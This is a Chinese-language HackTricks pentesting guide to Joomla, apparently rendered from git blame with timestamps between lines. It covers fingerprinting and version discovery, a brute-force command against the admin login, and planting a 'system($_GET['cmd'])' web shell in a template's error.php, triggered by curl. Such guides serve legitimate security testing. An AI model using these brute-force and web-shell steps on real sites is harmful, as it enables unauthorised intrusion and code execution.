2022-10-02 23:08:05 +00:00
|
|
|
|
# Joomla
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-12-25 00:37:50 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-12-25 00:37:50 +00:00
|
|
|
|
* 如果您在**网络安全公司**工作,想在**HackTricks**上看到您的**公司广告**,或者想要访问**最新版本的PEASS或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)系列,[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
|
|
|
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
|
|
|
* **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
2023-12-25 00:37:50 +00:00
|
|
|
|
### Joomla 统计数据
|
2022-10-02 23:08:05 +00:00
|
|
|
|
|
2023-12-25 00:37:50 +00:00
|
|
|
|
Joomla 收集一些匿名的[使用统计数据](https://developer.joomla.org/about/stats.html),例如 Joomla、PHP 和数据库版本的分布情况以及在 Joomla 安装上使用的服务器操作系统。这些数据可以通过他们的公共[API](https://developer.joomla.org/about/stats/api.html)查询。
|
2022-10-02 23:08:05 +00:00
|
|
|
|
```bash
|
|
|
|
|
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
|
|
|
|
|
|
|
|
|
|
{
|
2023-08-03 19:12:22 +00:00
|
|
|
|
"data": {
|
|
|
|
|
"cms_version": {
|
|
|
|
|
"3.0": 0,
|
|
|
|
|
"3.1": 0,
|
|
|
|
|
"3.10": 6.33,
|
|
|
|
|
"3.2": 0.01,
|
|
|
|
|
"3.3": 0.02,
|
|
|
|
|
"3.4": 0.05,
|
|
|
|
|
"3.5": 12.24,
|
|
|
|
|
"3.6": 22.85,
|
|
|
|
|
"3.7": 7.99,
|
|
|
|
|
"3.8": 17.72,
|
|
|
|
|
"3.9": 27.24,
|
|
|
|
|
"4.0": 3.21,
|
|
|
|
|
"4.1": 1.53,
|
|
|
|
|
"4.2": 0.82,
|
|
|
|
|
"4.3": 0,
|
|
|
|
|
"5.0": 0
|
|
|
|
|
},
|
|
|
|
|
"total": 2951032
|
|
|
|
|
}
|
2022-10-02 23:08:05 +00:00
|
|
|
|
}
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 枚举
|
2022-10-02 23:08:05 +00:00
|
|
|
|
|
2023-12-25 00:37:50 +00:00
|
|
|
|
### 发现/足迹跟踪
|
2022-10-02 23:08:05 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 检查 **meta**
|
2022-10-02 23:08:05 +00:00
|
|
|
|
```bash
|
|
|
|
|
curl https://www.joomla.org/ | grep Joomla | grep generator
|
|
|
|
|
|
|
|
|
|
<meta name="generator" content="Joomla! - Open Source Content Management" />
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* robots.txt
|
2022-10-02 23:08:05 +00:00
|
|
|
|
```
|
|
|
|
|
# If the Joomla site is installed within a folder
|
|
|
|
|
# eg www.example.com/joomla/ then the robots.txt file
|
|
|
|
|
# MUST be moved to the site root
|
|
|
|
|
# eg www.example.com/robots.txt
|
|
|
|
|
# AND the joomla folder name MUST be prefixed to all of the
|
|
|
|
|
# paths.
|
|
|
|
|
[...]
|
|
|
|
|
```
|
|
|
|
|
* README.txt
|
|
|
|
|
```
|
|
|
|
|
1- What is this?
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* This is a Joomla! installation/upgrade package to version 3.x
|
|
|
|
|
* Joomla! Official site: https://www.joomla.org
|
|
|
|
|
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
|
|
|
|
|
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
|
2022-10-02 23:08:05 +00:00
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 版本
|
2022-10-02 23:08:05 +00:00
|
|
|
|
|
2023-12-25 00:37:50 +00:00
|
|
|
|
* 在 **/administrator/manifests/files/joomla.xml** _**** 中可以查看版本。_
|
|
|
|
|
* 在 **/language/en-GB/en-GB.xml** 中可以获取Joomla的版本。
|
|
|
|
|
* 在 **plugins/system/cache/cache.xml** 中可以看到一个大致的版本。
|
2022-10-02 23:08:05 +00:00
|
|
|
|
|
2023-12-25 00:37:50 +00:00
|
|
|
|
### 自动
|
2022-10-02 23:08:05 +00:00
|
|
|
|
```bash
|
|
|
|
|
droopescan scan joomla --url http://joomla-site.local/
|
|
|
|
|
```
|
2023-12-25 00:37:50 +00:00
|
|
|
|
```markdown
|
|
|
|
|
在[**80,443 - Pentesting Web Methodology 是关于 CMS 扫描器的部分**](./#cms-scanners),可以扫描 Joomla。
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 暴力破解
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-12-25 00:37:50 +00:00
|
|
|
|
您可以使用这个[脚本](https://github.com/ajnik/joomla-bruteforce)来尝试暴力破解登录。
|
|
|
|
|
```
|
2022-10-02 23:08:05 +00:00
|
|
|
|
```shell-session
|
|
|
|
|
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
|
2023-08-03 19:12:22 +00:00
|
|
|
|
|
2022-10-02 23:08:05 +00:00
|
|
|
|
admin:admin
|
|
|
|
|
```
|
|
|
|
|
## RCE
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-12-25 00:37:50 +00:00
|
|
|
|
如果您成功获取了**管理员凭证**,您可以通过添加**PHP代码**片段来在其中实现**RCE**。我们可以通过**自定义**一个**模板**来做到这一点。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-12-25 00:37:50 +00:00
|
|
|
|
1. 在`Configuration`下方左侧点击**`Templates`**,以打开模板菜单。
|
|
|
|
|
2. 点击一个**模板**名称。我们选择`Template`列下的**`protostar`**。这将带我们进入**`Templates: Customise`**页面。
|
|
|
|
|
3. 最后,您可以点击一个页面以拉取**页面源代码**。我们选择**`error.php`**页面。我们将添加一个**PHP单行代码以获得代码执行**,如下所示:
|
|
|
|
|
1. **`system($_GET['cmd']);`**
|
|
|
|
|
4. **保存 & 关闭**
|
|
|
|
|
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2022-10-02 23:08:05 +00:00
|
|
|
|
<details>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-04-25 18:35:28 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-12-25 00:37:50 +00:00
|
|
|
|
* 您在**网络安全公司**工作吗?您想在**HackTricks**中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 发现[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
|
|
|
|
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
|
|
|
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
|
|
|
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|